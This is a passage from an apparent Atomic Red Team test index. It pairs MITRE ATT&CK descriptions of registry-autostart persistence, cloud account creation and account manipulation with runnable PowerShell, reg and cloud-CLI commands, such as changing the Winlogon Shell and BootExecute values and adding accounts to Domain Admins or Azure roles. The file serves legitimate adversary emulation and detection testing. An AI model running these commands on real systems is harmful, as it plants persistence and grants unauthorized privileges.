          Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'
        name: powershell
        elevation_required: true
    - name: 'HKLM - Modify default System Shell - Winlogon Shell KEY Value '
      auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e
      description: "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path
        of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value
        without breaking boot sequence. \nAn atacker will alternatively replace this
        with a custom shell. \n"
      supported_platforms:
      - windows
      input_arguments:
        payload:
          description: what to run
          type: string
          default: C:\Windows\explorer.exe
      executor:
        command: |
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell");
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue";
          $newvalue = $oldvalue + ", #{payload}";
          Set-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue"
        cleanup_command: |-
          $oldvalue = $(Get-ItemPropertyValue -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup');
          Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue";
          Remove-ItemProperty -Path  "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'
        name: powershell
        elevation_required: true
    - name: secedit used to create a Run key in the HKLM Hive
      auto_generated_guid: 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02
      description: |
        secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
        [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
      supported_platforms:
      - windows
      input_arguments:
        ini_file:
          description: INI config template
          type: string
          default: "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini"
        secedit_db:
          description: Custom secedit db
          type: string
          default: mytemplate.db
      executor:
        command: |
          secedit /import /db #{secedit_db} /cfg "#{ini_file}"
          secedit /configure /db #{secedit_db}
        cleanup_command: REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          /V "calc" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Modify BootExecute Value
      auto_generated_guid: befc2b40-d487-4a5a-8813-c11085fb5672
      description: "This test modifies the BootExecute registry value to \"autocheck
        autoche *\", which can be used to simulate an adversary's attempt to tamper
        with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE
        that by not saving the correct value, you may inhibit your system from booting
        properly. Only run on a test system. There is a reg export before running
        the Atomic.\n"
      supported_platforms:
      - windows
      input_arguments:
        registry_value:
          description: Registry value to set
          type: string
          default: autocheck autoche *
      executor:
        command: |
          if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y }
          Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString
        cleanup_command: |
          reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg"
          Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force
        name: powershell
        elevation_required: true
    - name: Allowing custom application to execute during new RDP logon session
      auto_generated_guid: b051b3c0-66e7-4a81-916d-e6383bd3a669
      description: |
        When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry
        By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP
      supported_platforms:
      - windows
      input_arguments:
        malicious_app:
          description: Application to be executed during successful RDP session
          type: string
          default: calc
      executor:
        command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"
          /v StartupPrograms /t REG_SZ /d "#{malicious_app}"

          '
        cleanup_command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd"
          /v StartupPrograms /t REG_SZ /d "rdpclip"
        name: command_prompt
        elevation_required: true
    - name: Creating Boot Verification Program Key for application execution during
        successful boot
      auto_generated_guid: 6e1666d5-3f2b-4b9a-80aa-f011322380d4
      description: |
        Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor
        can abuse by creating this registry key and providing a malicious application to be executed during successful boot
      supported_platforms:
      - windows
      input_arguments:
        malicious_file:
          description: Application to be executed during successful boot
          type: string
          default: C:\Program Files\Internet Explorer\iexplore.exe
      executor:
        command: 'reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram
          /v ImagePath /t REG_SZ /d "#{malicious_file}"

          '
        cleanup_command: reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram
        name: command_prompt
        elevation_required: true
  T1136.003:
    technique:
      modified: '2024-03-28T16:14:28.678Z'
      name: 'Create Account: Cloud Account'
      description: |-
        Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)

        In addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)

        Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.

        Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Praetorian
      - Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_deprecated: false
      x_mitre_detection: Collect usage logs from cloud user and administrator accounts
        to identify unusual activity in the creation of new accounts and assignment
        of roles to those accounts. Monitor for accounts assigned to admin roles that
        go over a certain threshold of known admins.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - IaaS
      - Google Workspace
      - SaaS
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      type: attack-pattern
      id: attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b
      created: '2020-01-29T17:32:30.711Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1136/003
        external_id: T1136.003
      - source_name: Microsoft O365 Admin Roles
        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
      - source_name: AWS Create IAM User
        description: AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved
          January 29, 2020.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html
      - source_name: AWS Lambda Execution Role
        description: AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.
        url: https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html
      - source_name: AWS Instance Profiles
        description: AWS. (n.d.). Using instance profiles. Retrieved February 28,
          2024.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html
      - source_name: GCP Create Cloud Identity Users
        description: Google. (n.d.). Create Cloud Identity user accounts. Retrieved
          January 29, 2020.
        url: https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554
      - source_name: GCP Service Accounts
        description: Google. (n.d.). Service Accounts Overview. Retrieved February
          28, 2024.
        url: https://cloud.google.com/iam/docs/service-account-overview
      - source_name: Microsoft Azure AD Users
        description: Microsoft. (2019, November 11). Add or delete users using Azure
          Active Directory. Retrieved January 30, 2020.
        url: https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory
      - source_name: Microsoft Entra ID Service Principals
        description: Microsoft. (2023, December 15). Application and service principal
          objects in Microsoft Entra ID. Retrieved February 28, 2024.
        url: https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser
      - source_name: Microsoft Support O365 Add Another Admin, October 2019
        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1136.003
    atomic_tests:
    - name: AWS - Create a new IAM user
      auto_generated_guid: 8d1c2368-b503-40c9-9057-8e42f21c58ad
      description: 'Creates a new IAM user in AWS. Upon successful creation, a new
        user will be created. Adversaries create new IAM users so that their malicious
        activity do not interupt the normal functions of the compromised users and
        can remain undetected for a long time

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Username of the IAM user to create in AWS
          type: string
          default: atomicredteam
      dependencies:
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo Please install the aws-cli and configure your AWS
          defult profile using: aws configure

          '
      executor:
        command: 'aws iam create-user --user-name #{username}

          '
        cleanup_command: 'aws iam delete-user --user-name #{username}

          '
        name: sh
        elevation_required: false
    - name: Azure AD - Create a new user
      auto_generated_guid: e62d23ef-3153-4837-8625-fa4a3829134d
      description: Creates a new user in Azure AD. Upon successful creation, a new
        user will be created. Adversaries create new users so that their malicious
        activity does not interrupt the normal functions of the compromised users
        and can remain undetected for a long time.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Display name of the new user to be created in Azure AD
          type: string
          default: atomicredteam
        userprincipalname:
          description: User principal name (UPN) for the new Azure user being created
            format email address
          type: string
          default: atomicredteam@yourdomain.com
        password:
          description: Password for the new Azure AD user being created
          type: string
          default: reallylongcredential12345ART-ydsfghsdgfhsdgfhgsdhfg
      dependency_executor_name: powershell
      dependencies:
      - description: Check if AzureAD PowerShell module is installed
        prereq_command: Get-InstalledModule -Name AzureAD
        get_prereq_command: echo "use the following to install AzureAD PowerShell
          module - Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery
          -Force"
      - description: Check if AzureAD PowerShell module is installed
        prereq_command: Update the input arguments so the userprincipalname value
          is accurate for your environment
        get_prereq_command: echo "Update the input arguments in the .yaml file so
          that the userprincipalname value is accurate for your environment"
      executor:
        command: "Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username
          = \"#{username}\"      \n$password = \"#{password}\"\n$PasswordProfile =
          New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password
          = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile
          -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName
          $username      "
        cleanup_command: Remove-AzureADUser -ObjectId "#{userprincipalname}"
        name: powershell
    - name: Azure AD - Create a new user via Azure CLI
      auto_generated_guid: 228c7498-be31-48e9-83b7-9cb906504ec8
      description: Creates a new user in Azure AD via the Azure CLI. Upon successful
        creation, a new user will be created. Adversaries create new users so that
        their malicious activity does not interrupt the normal functions of the compromised
        users and can remain undetected for a long time.
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Display name of the new user to be created in Azure AD
          type: string
          default: atomicredteam
        userprincipalname:
          description: User principal name (UPN) for the new Azure user being created
            format email address
          type: string
          default: atomicredteam@yourdomain.com
        password:
          description: Password for the new Azure AD user being created
          type: string
          default: reallylongcredential12345ART-ydsfghsdgfhsdgfhgsdhfg
      dependency_executor_name: powershell
      dependencies:
      - description: Check if Azure CLI is installed and install manually
        prereq_command: az account list
        get_prereq_command: echo "use the following to install the Azure CLI manually
          https://aka.ms/installazurecliwindows"
      - description: Check if Azure CLI is installed and install via PowerShell
        prereq_command: az account list
        get_prereq_command: echo "use the following to install the Azure CLI $ProgressPreference
          = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows
          -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I
          AzureCLI.msi /quiet'; Remove-Item .\AzureCLI.msi"
      - description: Update the userprincipalname to meet your requirements
        prereq_command: Update the input arguments so the userprincipalname value
          is accurate for your environment
        get_prereq_command: echo "Update the input arguments in the .yaml file so
          that the userprincipalname value is accurate for your environment"
      executor:
        command: "az login\n$userprincipalname = \"#{userprincipalname}\"\n$username
          = \"#{username}\"      \n$password = \"#{password}\"\naz ad user create
          --display-name $username --password $password --user-principal-name $userprincipalname\naz
          ad user list --filter \"displayname eq 'atomicredteam'\"     "
        cleanup_command: az ad user delete --id
        name: powershell
  T1098:
    technique:
      modified: '2024-01-16T22:24:38.234Z'
      name: Account Manipulation
      description: "Adversaries may manipulate accounts to maintain and/or elevate
        access to victim systems. Account manipulation may consist of any action that
        preserves or modifies adversary access to a compromised account, such as modifying
        credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These
        actions could also include account activity designed to subvert security policies,
        such as performing iterative password updates to bypass password duration
        policies and preserve the life of compromised credentials. \n\nIn order to
        create or manipulate accounts, the adversary must already have sufficient
        permissions on systems or the domain. However, account manipulation may also
        lead to privilege escalation where modifications grant access to additional
        roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Praetorian
      - Tim MalcomVetter
      - Wojciech Lesicki
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)

        Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.

        Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - SaaS
      - Network
      - Containers
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Modification'
      - 'Group: Group Modification'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27
      created: '2017-05-31T21:31:12.196Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098
        external_id: T1098
      - source_name: FireEye SMOKEDHAM June 2021
        description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s
          Supply Chain Software Compromise. Retrieved September 22, 2021.
        url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
      - source_name: Microsoft Security Event 4670
        description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670.
          Retrieved November 4, 2019.
        url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670
      - source_name: Microsoft User Modified Event
        description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account
          was changed. Retrieved June 30, 2017.'
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738
      - source_name: InsiderThreat ChangeNTLM July 2017
        description: Warren, J. (2017, July 11). Manipulating User Passwords with
          Mimikatz. Retrieved December 4, 2017.
        url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
      - source_name: GitHub Mimikatz Issue 92 June 2017
        description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm
          work, but generate Windows events #92. Retrieved December 4, 2017.'
        url: https://github.com/gentilkiwi/mimikatz/issues/92
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098
    atomic_tests:
    - name: Admin Account Manipulate
      auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af
      description: 'Manipulate Admin Account Name

        '
      supported_platforms:
      - windows
      executor:
        command: |
          $x = Get-Random -Minimum 2 -Maximum 9999
          $y = Get-Random -Minimum 2 -Maximum 9999
          $z = Get-Random -Minimum 2 -Maximum 9999
          $w = Get-Random -Minimum 2 -Maximum 9999
          Write-Host HaHa_$x$y$z

          $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

          foreach($member in $fmm) {
              if($member -like "*Administrator*") {
                  $account = $member.Name.Split("\")[-1] # strip computername\
                  $originalDescription = (Get-LocalUser -Name $account).Description
                  Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
                  Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
                  Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
                  }
              }
        cleanup_command: |
          $list = Get-LocalUser |?{$_.Description -like "atr:*"}
          foreach($u in $list) {
            $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
            Set-LocalUser -Name $u.Name -Description $Matches.Description
            Rename-LocalUser -Name $u.Name -NewName $Matches.Name
            Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
          }
        name: powershell
        elevation_required: true
    - name: Domain Account and Group Manipulate
      auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9
      description: "Create a random atr-nnnnnnnn account and add it to a domain group
        (by default, Domain Admins). \n\nThe quickest way to run it is against a domain
        controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need
        to install PS Module ActiveDirectory (in prereqs) and run the script with
        appropriare AD privileges to \ncreate the user and alter the group. Automatic
        installation of the dependency requires an elevated session, \nand is unlikely
        to work with Powershell Core (untested).\n\nIf you consider running this test
        against a production Active Directory, the good practise is to create a dedicated\nservice
        account whose delegation is given onto a dedicated OU for user creation and
        deletion, as well as delegated\nas group manager of the target group.\n\nExample:
        `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and
        Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n"
      supported_platforms:
      - windows
      input_arguments:
        account_prefix:
          description: |
            Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on
            a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful.
          type: string
          default: atr-
        group:
          description: Name of the group to alter
          type: string
          default: Domain Admins
        create_args:
          description: Additional string appended to New-ADUser call
          type: string
          default: ''
      dependencies:
      - description: 'PS Module ActiveDirectory

          '
        prereq_command: "Try {\n    Import-Module ActiveDirectory -ErrorAction Stop
          | Out-Null\n    exit 0\n} \nCatch {\n    exit 1\n}\n"
        get_prereq_command: |
          if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
            Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
          } else {
            Install-WindowsFeature RSAT-AD-PowerShell
          }
      executor:
        command: |
          $x = Get-Random -Minimum 2 -Maximum 99
          $y = Get-Random -Minimum 2 -Maximum 99
          $z = Get-Random -Minimum 2 -Maximum 99
          $w = Get-Random -Minimum 2 -Maximum 99

          Import-Module ActiveDirectory
          $account = "#{account_prefix}-$x$y$z"
          New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
          Add-ADGroupMember "#{group}" $account
        cleanup_command: 'Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))"
          | Remove-ADUser -Confirm:$False

          '
        name: powershell
    - name: AWS - Create a group and add a user to that group
      auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122
      description: 'Adversaries create AWS group, add users to specific to that group
        to elevate their privilieges to gain more accesss

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        username:
          description: Name of the AWS group to create
          type: string
          default: atomicredteam
      dependencies:
      - description: 'Check if the user exists, we can only add a user to a group
          if the user exists.

          '
        prereq_command: 'aws iam list-users | grep #{username}

          '
        get_prereq_command: 'echo Please run atomic test T1136.003, before running
          this atomic test

          '
      executor:
        command: |
          aws iam create-group --group-name #{username}
          aws iam add-user-to-group --user-name #{username} --group-name #{username}
        cleanup_command: |
          aws iam remove-user-from-group --user-name #{username} --group-name #{username}
          aws iam delete-group --group-name #{username}
        name: sh
    - name: Azure AD - adding user to Azure AD role
      auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261
      description: "The adversaries want to add user to some Azure AD role. Threat
        actor \nmay be interested primarily in highly privileged roles, e.g. Global
        Administrator, Application Administrator, \nPrivileged Authentication Administrator
        (this role can reset Global Administrator password!).\nBy default, the role
        Global Reader is assigned to the user principal in this test.\n\nThe account
        you use to run the PowerShell command should have Privileged Role Administrator
        or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity
        \"Add member to role\" in Azure AD Audit Logs. In targer you will also see
        User as a type.\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        user_principal_name:
          description: Display Name, or User Principal Name, of the targeted user
            principal
          type: string
          default: SuperUser
        role_name:
          description: Name of the targeted Azure AD role
          type: string
          default: Global Reader
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }
          Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
          Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore

          $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId
          Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role"
        name: powershell
        elevation_required: false
    - name: Azure AD - adding service principal to Azure AD role
      auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4
      description: "The adversaries want to add service principal to some Azure AD
        role. Threat actor \nmay be interested primarily in highly privileged roles,
        e.g. Global Administrator, Application Administrator, \nPrivileged Authentication
        Administrator (this role can reset Global Administrator password!).\nBy default,
        the role Global Reader is assigned to service principal in this test.\n\nThe
        account you use to run the PowerShell command should have Privileged Role
        Administrator or Global Administrator role in your Azure AD.\n\nDetection
        hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer
        you will also see Service Principal as a type.\n"
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        service_principal_name:
          description: Name of the service principal
          type: string
          default: SuperSP
        role_name:
          description: Name of the targeted Azure AD role
          type: string
          default: Global Reader
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }
          Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
          Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore

          $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
          if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
          $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId
          Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role"
        name: powershell
        elevation_required: false
    - name: Azure - adding user to Azure role in subscription
      auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea
      description: "The adversaries want to add user to some Azure role, also called
        Azure resource role. Threat actor \nmay be interested primarily in highly
        privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is
        assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also
        use to assign user/service principal to resource, resource group and management
        group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write
        \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory
        Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection
        hint - check Operation Name \"Create role assignment\" in subscriptions Activity
        Logs.\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        user_principal_name:
          description: Display Name, or User Principal Name, of the targeted user
            principal
          type: string
          default: SuperUser
        role_name:
          description: Name of the targeted Azure role
          type: string
          default: Reader
        subscription:
          description: Name of the targeted subscription
          type: string
          default: Azure subscription 1
      dependencies:
      - description: 'Az.Resources module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az.Resources -Force

          '
      executor:
        command: |
          Import-Module -Name Az.Resources
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
